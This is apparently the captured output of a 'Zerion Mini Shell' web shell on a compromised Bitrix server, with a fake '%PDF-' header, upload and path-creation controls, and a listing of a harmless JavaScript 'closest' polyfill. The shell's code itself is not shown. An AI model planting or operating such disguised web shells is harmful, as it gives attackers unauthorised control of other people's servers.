%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/js/main/polyfill/closest/js/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/js/main/polyfill/closest/js/closest.js

;(function() {
	'use strict';

	if (!Element.prototype.closest)
	{
		/**
		 * Finds closest parent element by selector
		 * @param {string} selector
		 * @return {HTMLElement|Element|Node}
		 */
		Element.prototype.closest = function(selector) {
			var node = this;

			while (node)
			{
				if (node.matches(selector))
				{
					return node;
				}

				node = node.parentElement;
			}

			return null;
		};
	}
})();

Zerion Mini Shell 1.0